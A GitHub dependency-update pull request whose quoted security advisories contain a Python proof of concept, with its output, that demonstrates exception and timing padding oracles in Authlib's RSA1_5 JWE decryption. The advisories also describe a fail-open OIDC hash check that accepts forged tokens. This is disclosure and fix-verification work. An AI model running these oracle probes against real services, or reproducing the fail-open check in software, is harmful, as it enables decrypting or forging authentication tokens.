    jwe_bad = make_jwe(header_b64, os.urandom(256))

    try:
        jwe.deserialize_compact(jwe_bad, private_key)
    except Exception as e:
        vuln(f"Caso A (padding invalido):   {type(e).__name__}: {e}")

    # --- caso B: ek con padding valido, ciphertext basura ---
    valid_ek  = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())
    jwe_good  = make_jwe(header_b64, valid_ek)

    try:
        jwe.deserialize_compact(jwe_good, private_key)
    except Exception as e:
        ok(f"Caso B (padding valido/MAC malo): {type(e).__name__}: {e}")

    print()
    info("Los dos caminos producen excepciones de clases DIFERENTES.")
    info("Un framework web que mapea excepciones a HTTP codes expone el oracle.")
    info("El atacante no necesita acceso al stack trace — solo al HTTP status code.")

##### ─── test 3: timing oracle ────────────────────────────────────────────────────

def test_timing_oracle(private_key, jwe, header_b64, iterations=50):
    """
    @&#8203;notice  Demuestra el Timing Oracle midiendo el delta de tiempo entre los
             dos caminos de fallo en multiples iteraciones.

    @&#8203;dev     El timing oracle es independiente del exception oracle.
             Incluso si el servidor normaliza las excepciones a un unico
             codigo HTTP, la diferencia de tiempo (~5ms) es suficientemente
             grande para ser medible a traves de red en condiciones reales.

             Bleichenbacher clasico funciona con diferencias de microsegundos.
             5ms es un oracle extremadamente ruidoso — facil de explotar.

    @&#8203;param   iterations  Numero de muestras para calcular estadisticas
    """
    header(f"TEST 3 - Timing Oracle ({iterations} iteraciones cada camino)")

    times_bad  = []
    times_good = []

    for _ in range(iterations):
        # camino A: padding invalido
        jwe_bad = make_jwe(header_b64, os.urandom(256))
        t0 = time.perf_counter()
        try:
            jwe.deserialize_compact(jwe_bad, private_key)
        except Exception:
            pass
        times_bad.append((time.perf_counter() - t0) * 1000)

        # camino B: padding valido
        valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())
        jwe_good = make_jwe(header_b64, valid_ek)
        t0 = time.perf_counter()
        try:
            jwe.deserialize_compact(jwe_good, private_key)
        except Exception:
            pass
        times_good.append((time.perf_counter() - t0) * 1000)

    mean_bad  = statistics.mean(times_bad)
    mean_good = statistics.mean(times_good)
    stdev_bad = statistics.stdev(times_bad)
    stdev_good= statistics.stdev(times_good)
    delta     = mean_good - mean_bad

    print(f"\n  {'Camino':<30} {'Media (ms)':<14} {'Stdev (ms)':<14} {'Min':<10} {'Max'}")
    print(f"  {'-'*30} {'-'*14} {'-'*14} {'-'*10} {'-'*10}")
    print(f"  {'Padding invalido (ValueError)':<30} "
          f"{RED}{mean_bad:<14.3f}{R} "
          f"{stdev_bad:<14.3f} "
          f"{min(times_bad):<10.3f} "
          f"{max(times_bad):.3f}")
    print(f"  {'Padding valido (InvalidTag)':<30} "
          f"{GRN}{mean_good:<14.3f}{R} "
          f"{stdev_good:<14.3f} "
          f"{min(times_good):<10.3f} "
          f"{max(times_good):.3f}")
    print()

    if delta > 1.0:
        vuln(f"Delta medio: {delta:.3f} ms — timing oracle confirmado")
        info(f"Diferencia de {delta:.1f}ms es suficiente para Bleichenbacher via red")
        info(f"El ataque clasico funciona con diferencias de microsegundos")
    else:
        ok(f"Delta medio: {delta:.3f} ms — timing no es significativo")

##### ─── test 4: confirmar RSA1_5 en registry por defecto ────────────────────────

def test_default_registry():
    """
    @&#8203;notice  Confirma que RSA1_5 esta registrado por defecto en authlib sin
             ninguna configuracion adicional por parte del desarrollador.

    @&#8203;dev     Esto demuestra que cualquier aplicacion que use JsonWebEncryption()
             sin configuracion explicita esta expuesta al oracle por defecto.
             El desarrollador no necesita hacer nada malo — la exposicion es
             out-of-the-box.
    """
    header("TEST 4 - RSA1_5 en Registry por Defecto")

    jwe = JsonWebEncryption()

    # intentar acceder al algoritmo RSA1_5 del registry
    try:
        alg = jwe.algorithms.get_algorithm("RSA1_5")
        if alg:
            vuln(f"RSA1_5 registrado por defecto: {alg.__class__.__name__}")
            info("Cualquier JsonWebEncryption() sin configuracion esta expuesto")
            info("No se requiere opt-in del desarrollador para el algoritmo vulnerable")
        else:
            ok("RSA1_5 NO esta en el registry por defecto")
    except Exception as e:
        info(f"Registry check: {e}")
        # fallback: intentar deserializar un JWE con RSA1_5
        private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        header_b64  = urlsafe_b64encode(
            to_bytes('{"alg":"RSA1_5","enc":"A128GCM"}')
        ).decode()
        jwe_token = make_jwe(header_b64, os.urandom(256))
        try:
            jwe.deserialize_compact(jwe_token, private_key)
        except Exception as e2:
            if "UnsupportedAlgorithm" in str(type(e2).__name__):
                ok("RSA1_5 NO soportado por defecto")
            else:
                vuln(f"RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): {type(e2).__name__}")

##### ─── test 5: impacto del fix propuesto ────────────────────────────────────────

def test_fix_impact(private_key, header_b64):
    """
    @&#8203;notice  Demuestra que el fix propuesto elimina ambos oracles simultaneamente.
    @&#8203;dev     El fix parchado hace que ambos caminos retornen un CEK de longitud
             correcta, forzando que el fallo ocurra downstream en AES-GCM tag
             validation en ambos casos -> misma excepcion, timing indistinguible.
    """
    header("TEST 5 - Verificacion del Fix Propuesto")

    import os as _os
    from cryptography.hazmat.primitives.ciphers.aead import AESGCM

    def unwrap_patched(ek_bytes, expected_bits=128):
        """Replica del fix propuesto para RSAAlgorithm.unwrap()"""
        expected_bytes = expected_bits // 8
        try:
            cek = private_key.decrypt(ek_bytes, asym_padding.PKCS1v15())
        except ValueError:
            cek = _os.urandom(expected_bytes)  # constant-time fallback
        if len(cek) != expected_bytes:
            cek = _os.urandom(expected_bytes)
        return cek

    # camino A con fix: padding invalido
    cek_a = unwrap_patched(os.urandom(256))
    info(f"Fix Camino A (padding invalido): retorna CEK de {len(cek_a)*8} bits (random)")

    # camino B con fix: padding valido
    valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())
    cek_b = unwrap_patched(valid_ek)
    info(f"Fix Camino B (padding valido):   retorna CEK de {len(cek_b)*8} bits (real)")

    print()
    ok("Ambos caminos retornan CEK de longitud correcta")
    ok("El fallo ocurrira downstream en AES-GCM para ambos casos")
    ok("Exception type sera identica en ambos caminos -> oracle eliminado")
    ok("Timing sera indistinguible -> timing oracle eliminado")

##### ─── main ─────────────────────────────────────────────────────────────────────

if __name__ == "__main__":
    print(f"\n{BLD}authlib {authlib.__version__} / cryptography {cryptography.__version__}{R}")
    print(f"authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()")

    private_key, jwe, header_b64 = setup()

    test_cryptography_behavior(private_key)
    test_exception_oracle(private_key, jwe, header_b64)
    test_timing_oracle(private_key, jwe, header_b64, iterations=50)
    test_default_registry()
    test_fix_impact(private_key, header_b64)

    print(f"\n{DIM}Fix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes){R}")
    print(f"{DIM}     nunca levantar excepcion que distinga padding failure de MAC failure{R}\n")
Output
authlib 1.6.8 / cryptography 46.0.5
authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()

----------------------------------------------------------------
TEST 1 - Comportamiento de cryptography ante padding invalido
----------------------------------------------------------------
            cryptography retorno bytes: len=84
            NOTA: esta version implementa mitigacion de random bytes

----------------------------------------------------------------
TEST 2 - Exception Oracle (tipo de excepcion diferente)
----------------------------------------------------------------
  [ORACLE]  Caso A (padding invalido):   ValueError: Invalid "cek" length
  [OK]      Caso B (padding valido/MAC malo): InvalidTag: 

            Los dos caminos producen excepciones de clases DIFERENTES.
            Un framework web que mapea excepciones a HTTP codes expone el oracle.
            El atacante no necesita acceso al stack trace — solo al HTTP status code.

----------------------------------------------------------------
TEST 3 - Timing Oracle (50 iteraciones cada camino)
----------------------------------------------------------------

  Camino                         Media (ms)     Stdev (ms)     Min        Max
  ------------------------------ -------------- -------------- ---------- ----------
  Padding invalido (ValueError)  1.500          1.111          0.109      8.028
  Padding valido (InvalidTag)    1.787          0.978          0.966      7.386

  [OK]      Delta medio: 0.287 ms — timing no es significativo

----------------------------------------------------------------
TEST 4 - RSA1_5 en Registry por Defecto
----------------------------------------------------------------
            Registry check: 'JsonWebEncryption' object has no attribute 'algorithms'
  [ORACLE]  RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): ValueError

----------------------------------------------------------------
TEST 5 - Verificacion del Fix Propuesto
----------------------------------------------------------------
            Fix Camino A (padding invalido): retorna CEK de 128 bits (random)
            Fix Camino B (padding valido):   retorna CEK de 128 bits (real)

  [OK]      Ambos caminos retornan CEK de longitud correcta
  [OK]      El fallo ocurrira downstream en AES-GCM para ambos casos
  [OK]      Exception type sera identica en ambos caminos -> oracle eliminado
  [OK]      Timing sera indistinguible -> timing oracle eliminado

Fix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes)
     nunca levantar excepcion que distinga padding failure de MAC failure

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Authlib: Fail-Open Cryptographic Verification in OIDC Hash Binding

CVE-2026-28498 / GHSA-m344-f55w-2m6j

More information

Details

1. Executive Summary

A critical library-level vulnerability was identified in the Authlib Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (_verify_hash) responsible for validating the at_hash (Access Token Hash) and c_hash (Authorization Code Hash) claims exhibits a fail-open behavior when encountering an unsupported or unknown cryptographic algorithm.

This flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized alg header parameter. The library intercepts the unsupported state and silently returns True (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications.


2. Technical Details & Root Cause

The vulnerability resides within the _verify_hash(signature, s, alg) function in authlib/oidc/core/claims.py:

def _verify_hash(signature, s, alg):
    hash_value = create_half_hash(s, alg)
    if not hash_value:        # ← VULNERABILITY: create_half_hash returns None for unknown algorithms
        return True            # ← BYPASS: The verification silently passes
    return hmac.compare_digest(hash_value, to_bytes(signature))

When an unsupported algorithm string (e.g., "XX999") is processed by the helper function create_half_hash in authlib/oidc/core/util.py, the internal getattr(hashlib, hash_type, None) call fails, and the function correctly returns None.

However, instead of triggering a Fail-Closed cryptographic state (raising an exception or returning False), the _verify_hash function misinterprets the None return value and explicitly returns True.

Because developers rely on the s

Note

PR body was truncated to here.

@renovate renovate Bot force-pushed the renovate/pypi-authlib-vulnerability branch from d114f32 to d3c62d0 Compare July 27, 2025 12:03
@renovate renovate Bot force-pushed the renovate/pypi-authlib-vulnerability branch 2 times, most recently from 91fe2d3 to bab6579 Compare August 27, 2025 00:15
@renovate renovate Bot force-pushed the renovate/pypi-authlib-vulnerability branch from bab6579 to 1714262 Compare September 23, 2025 15:57
@renovate renovate Bot changed the title chore(deps): update dependency authlib to v1.3.1 [security] chore(deps): update dependency authlib to v1.6.4 [security] Sep 23, 2025
@renovate renovate Bot force-pushed the renovate/pypi-authlib-vulnerability branch from 1714262 to 3818ccc Compare October 11, 2025 04:08
@renovate renovate Bot changed the title chore(deps): update dependency authlib to v1.6.4 [security] chore(deps): update dependency authlib to v1.6.5 [security] Oct 11, 2025
@renovate renovate Bot force-pushed the renovate/pypi-authlib-vulnerability branch from 3818ccc to dcae1c9 Compare January 9, 2026 07:48
@renovate renovate Bot changed the title chore(deps): update dependency authlib to v1.6.5 [security] chore(deps): update dependency authlib to v1.6.6 [security] Jan 9, 2026
@renovate renovate Bot force-pushed the renovate/pypi-authlib-vulnerability branch from dcae1c9 to 69efa5a Compare March 31, 2026 09:50
@renovate renovate Bot changed the title chore(deps): update dependency authlib to v1.6.6 [security] chore(deps): update dependency authlib to v1.6.9 [security] Mar 31, 2026
@renovate renovate Bot changed the title chore(deps): update dependency authlib to v1.6.9 [security] Update dependency Authlib to v1.6.9 [SECURITY] Apr 15, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants